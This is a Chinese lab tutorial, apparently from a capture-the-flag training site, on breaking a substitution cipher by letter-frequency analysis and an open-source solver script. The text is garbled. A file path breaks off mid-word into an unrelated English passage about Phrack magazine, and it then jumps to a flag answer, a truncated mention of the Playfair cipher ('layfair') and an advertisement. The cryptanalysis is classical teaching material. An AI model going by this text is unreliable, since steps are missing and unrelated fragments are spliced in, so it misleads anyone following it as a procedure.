经过使用暴力方式对此类加密进行破解非常麻烦,但是可以使用语言的一些规律对其发起攻击。首先把字母使用的相对频率统计出来,与英文字母的使用频率分布进行比较,可以猜测出一部分映射,然后配合对英语中的构词规律的分析,就可以猜测出其他的映射,按照这个思路基本就能完成密码分析过程。 页面http://cryptoclub.org/tools/cracksub_topframe.php提供了一个方便的操作界面供我们对此类问题进行分析(实验主机不提供网络访问,请在自己的电脑上访问这个页面)。打开该页面然后填入密文,点击Crack,如下图所示: 接下来就可以从频率上对密文进行分析了。根据右侧的频率统计,我们可以尝试对前面四个字母进行替换,在左侧的矩形文本框中,在密文对应字符的上面可以填写解密后的明文,因此,这里得到的密文到明文的映射为:A-e, Y-t, Q-a, I-o。 在英文单词构词方面,以密文第二个单词YJA为例,经过分析后我们得到的结果为t*e,而字符J在密文中的频率为5.9%,对应英文文本中可能的字符为i, n, s, h, r,经过分析,只有the才是有意义的单词,因此我们可以猜测密文J对应明文h。 经过这样不断的分析,我们最终就能还原出明文了。 下来就是实验步骤三、使用脚本进行快速破解 使用实验步骤二中提供的页面,可以完成对密文的破解,但是需要耗费一定的时间和精力,使用已有的成熟的解密脚本,我们可以快速完成破解过程。 页面https://github.com/alexbers/substitution_cipher_solver提供了一个Substitution Cipher Solver工具,可以快速完成对单表替换类密码的分析。从地址https://github.com/alexbers/substitution_cipher_solver/archive/master.zip可以下载到这个工具(或者从http://heetian.qiniudn.com/crypto/substitution_cipher_solver.zip下载,在实验主机的C:\Crypto\1\ substitution_cip nowadays, the world seems to turn faster than a couple of years ago. time has come to reflect that also in the phrack magazine. this is what the paper feed is about: you submit a paper, we review it and it gets published. no need to wait a month or two until you see your article in the next phrack i 从明文的最后一句话可以知道,flag为cryptooosocoolamiright。 layfair加密方式同时对两个明文字符进行替换加密,查阅资料了解Playfair密码。 原理和过程,以后在CTF的题目中稍微变化一下,可能你就不认识了。 你想在靶场学习CTF技术吗?